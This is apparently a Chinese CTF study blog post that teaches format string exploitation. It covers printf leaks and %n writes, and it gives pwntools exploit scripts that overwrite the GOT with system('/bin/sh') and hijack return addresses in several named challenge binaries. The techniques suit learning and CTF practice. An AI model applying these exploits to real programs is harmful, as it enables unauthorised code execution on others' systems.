学习资料:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit/ https://veritas501.space/2017/04/28/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/#more
具体的基础的学习知识点,上面两个链接应该都有
先粗略讲一下格式化字符串漏洞有哪些危害吧
#include
int main(void)
{
char a[100];
scanf("%s",a);
printf(a);
return 0;
}
这程序我们输入AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
输出:AAAA1,d1f77790,a,0,d217f700,41414141,78252c78,252c7825,2c78252c,78252c78,6f736476
可以看到栈的地址被我们泄露了,是不是有点迷,换个例子看一下
#include
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
我们先正经的输入字符串,结果如下,好像没什么问题
换个输入看看
是不是惊呆了,其实原理和上一个例子是一样的,就是利用printf是可变参数的函数,被调用者无法知道在函数调用之前到底有多少参数被压入栈帧当中
当然以上只是泄露,我们同时还是实现实现任意地址读
这里我们要了解printf函数的另一个操作m$
具体是啥可以给个链接:https://blog.csdn.net/ai_book/article/details/17881939
总之输出参数列表中的第m个参数,拿第一个例子继续做实验
可以看到字符串AAAA的据开头的偏移量为6,知道偏移量之后,我们试着把elf文件的开头信息读出来
exp
from pwn import *
context.log_level = 'debug'
cn = process('./test2')
cn.sendline("%7$s"+p64(0x08048000))
print cn.recv()
结果如下
我们首先知道了%7$s这个字符串会被放在%6$s,然后读取%7$s处的内容,该处内容呗我们覆盖为了0x08048000,就完成了数据泄露
任意地址都之后当然是任意地址写了
先试试怎么控制eip
printf里有个格式化字符串很奇怪:%n - 到目前为止所写的字符数,这是我们可以利用的
给个例子%n的例子
int main(void)
{
int pos=0;
int x = 123;
int y = 456;
printf("%d%n%d\n", x, &pos, y);
printf("pos=%d\n", pos);
return 0;
}
输出的结果是多少呢,答案揭晓:
123456
pos=3
那我们就可以修改地址的数据了,如下
#include
int main(void)
{
int c = 0;
printf("the use of %n", &c);
printf("%d\n", c);
return 0;
}
-----------------------------------------------------------------------------------------------------------------
C处的数据被我们改成了11
但显然这样有个bug,在改之前我们要输入超级多的字符做铺垫,有毒,我们不一定有这么多的空间,这时我们可以选择自打印,美滋滋,如下就把c改为了100
#include
int main(void)
{
int c = 0;
printf("%.100d%n", c,&c);
printf("\nthe value of c: %d\n", c);
return 0;
}
例子:2017 年的 UIUCTF 中 pwn200 GoodLuck
给的这个例子有个区别,就是它是64位的,正好尝试一下64位的格式化字符串漏洞
漏洞还挺明显的,printf(format),同时貌似成功了会打开一个flag.txt,我们先本地伪造一个
对printf下断点,看偏移量
偏移量还满清晰的,距rsp5个字节,除去返回地址为4个字节,同时这是一个 64 位程序,所以前 6 个参数存在在对应的寄存器中,格式化字符串存在RDI中,所以flag距离rsp为10个字节
exp
from pwn import *
cn=process('./goodluck')
payload="%9$s"
cn.recvuntil('the flag')
cn.sendline(payload)
cn.interactive()
实验成功,完美
这里肯定有人会纠结为啥这里是9不是10,之前是7不是6呢
情况不同嘛,这里的情况,用的是%9$s的基本定义,这是因为格式化参数里面的 n 指的是该格式化字符串对应的第 n 个输出参数,那加上本身的%9$s这个参数,flag才排在第10个字节,相对于%9$s,就是在第九个,没毛病;
上面那种情况,我们是研究输出的字符串的偏移量,然后输出我们想要的,想法是不同的
其他技巧
还有些技巧的原理其实不算是格式化字符串的操作了,但是例子里面还是运用了一些格式化字串漏洞的
1.hijack GOT
下图来自CTFWIKI
操作还是比较容易懂的
例子:2016 CCTF 中的 pwn3
可还行,relro保护没有全部开启,拖进IDA分析
这题是个远程登陆ftp,有三个操作,如下
格式化字符串漏洞在get_file中
先绕过密码,我们可以看见ask_username对我们输入的进行了变化,且最后变化为sysbdmin才能通过,先逆向一波
>>> s='sysbdmin'
>>> name=''
>>> for i in s:
... name+=chr(ord(i)-1)
...
>>> name
'rxraclhm'
结果如下
顺利绕过,继续继续
泄露地址地址,找了半天write没找到,只能用puts了,但是我们发现可以用get_file中的格式化字符串漏洞直接读出我们想要的
get_file的内容肯定是要从put_file中的结果中获取,所以我们可以提前在put_file时提前准好好泄露的结果,比如puts_got,从而用printf可以输出puts函数在程序中的真实地址
然后就需要我们计算printf里的偏移量了,直接对printf打断点,观察栈中偏移量
我们可以看到1111xiaoyuyu是我们在文件中输入的内容,距离esp的偏移量是7个字节,那老样子我们可以把内容构建为:
"%8$s",puts_got 直接把puts在内存中的地址泄露出来,泄露之后根据libc中的偏移量把system函数在内存中的地址求出来,这里就不细说了
最后一步把puts_got的内容改成system_addr,这样当我们执行show函数中的puts函数是,其实是在system函数,可以轻松获得权限
exp
from pwn import *
cn=process('./pwn3')
bin=ELF('./pwn3')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
puts_got=bin.got['puts']
cn.recvuntil('Rainism):')
cn.sendline('rxraclhm') #pass
cn.sendline('put') #put
cn.recvuntil('please enter the name of the file you want to upload:')
cn.sendline('1111') #name=1
cn.recvuntil('then, enter the content:')
cn.sendline('%8$s'+p32(puts_got)) #content
cn.sendline('get')
cn.recvuntil('to get:')
cn.sendline('1111')
puts_addr=u32(cn.recv(4)) #leak puts_addr
#calculate offset
base=puts_addr-libc.symbols['puts']
system_addr=base+libc.symbols['system']
payload=fmtstr_payload(7, {puts_got: system_addr})
cn.sendline('put')
cn.recvuntil('please enter the name of the file you want to upload:')
cn.sendline('/bin/sh;') #name=/bin/sh
cn.recvuntil('then, enter the content:')
cn.sendline(payload) #content
#cn.recvuntil('ftp>')
cn.sendline('get')
cn.recvuntil('enter the file name you want to get:')
cn.sendline('/bin/sh;')
#cn.recvuntil('ftp>')
cn.sendline('dir')
cn.interactive()
这里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是,我的格式化字符串的偏移是 7,我希望在 puts_got 地址处写入 system_addr 地址
然后还有一个问题是,大家可以发现/bin/sh;这个名字换掉就不行了,而且和长度无关,of course,你现在的dir函数数system哦,读取名字变成了执行/bin/sh啦
2.hijack retaddr
很容易理解,我们要利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址
经过了修改got表的操作,可能会想,直接改好再调用就好了,干嘛劫持程序,因为我们之前没有完全开启RELRO,但是如果全开启了呢,下面这个例子可以帮我们了解一波
例子: 三个白帽 - pwnme_k0
程序大概就是这么个鬼,64位,还开起了RELRO,拖进IDA看一下,这题有个好处,就是程序内部有现成的system('/bin/sh')函数,我们需要改到的地址还是比较清晰的
程序功能基本就那样,找格式化字符串漏洞在哪里,发现Show函数里有,如下
和我们输入的password地址是相同的,稍微测试一下,发现密码输入什么都是对的,也是迷
确定偏移量,直接在printf下断点,如下
来,算偏移量:
输出的用户名----6+3-1=8;
rip----7;
上一个函数rbp----6
rbp-rip=0x38
接下来我们需要知道rbp的值从而修改rip
exp
from pwn import *
cn=process('./pwnme_k0')
system_addr=0x00000000004008A6
cn.recvuntil('Input your username(max lenth:20): ')
cn.sendline('xiaoyuyu')
cn.recvuntil('Input your password(max lenth:20): ')
cn.sendline('%6$p')
cn.recvuntil('>')
cn.sendline('1')
cn.recvuntil("0x")
rip_addr = int(cn.recvline().strip(),16) - 0x38
cn.recvuntil('>')
cn.sendline('2')
cn.recvuntil('please input new username(max lenth:20): ')
cn.sendline('yuyuyuyu')
cn.recvuntil('please input new password(max lenth:20): ')
cn.send('%2214u%12$hn'+p64(rip_addr)) #2214=0x08a6--->system_addr
cn.recvuntil('>')
cn.sendline('1')
cn.interactive()
这里可能有些不理解的就是cn.send('%2214u%12$hn'+p64(rip_addr)) #2214=0x08a6--->system_addr
为什么是%12$呢,我们对Edit中的strcpy函数打断点,可以发现,我们想要的rip此时的偏移量为12,如下
这里的0x601db8就是plt表,这里大概可以才出来,但不能全信,我们看一下IDA
在直接对Show函数的printf函数再次打断点,如下,也可以看到rip_addr偏移量为12
然后%2214u来调整字宽之类的,这样就输出了0x08a6个字符,然后修改第12个参数的前两个字节
这次去参加了杭电CTF,附加题最后一题是格式化字符串漏洞,放题目的时候快结束了,心慌慌,没怎么好好看,气,现在重新分析一下
直接拖进IDA看main函数
栈保护没开启,还没有开启relro,美滋滋
拖进IDA看一波
明显到爆炸的格式化字符串漏洞,printf
直接打一大堆%x,然后对printf函数打断点,看我们输入的偏移量
看到xiaoyuyu距离我们的rsp偏移量是3,加上64位程序的6个寄存器,偏移量变为9,这样我们就可以泄露fgets的地址,然后通过偏移量找到system函数和/bin/sh,然后把它的功能改为system函数,执行/bin/sh了,想的很美好,试试看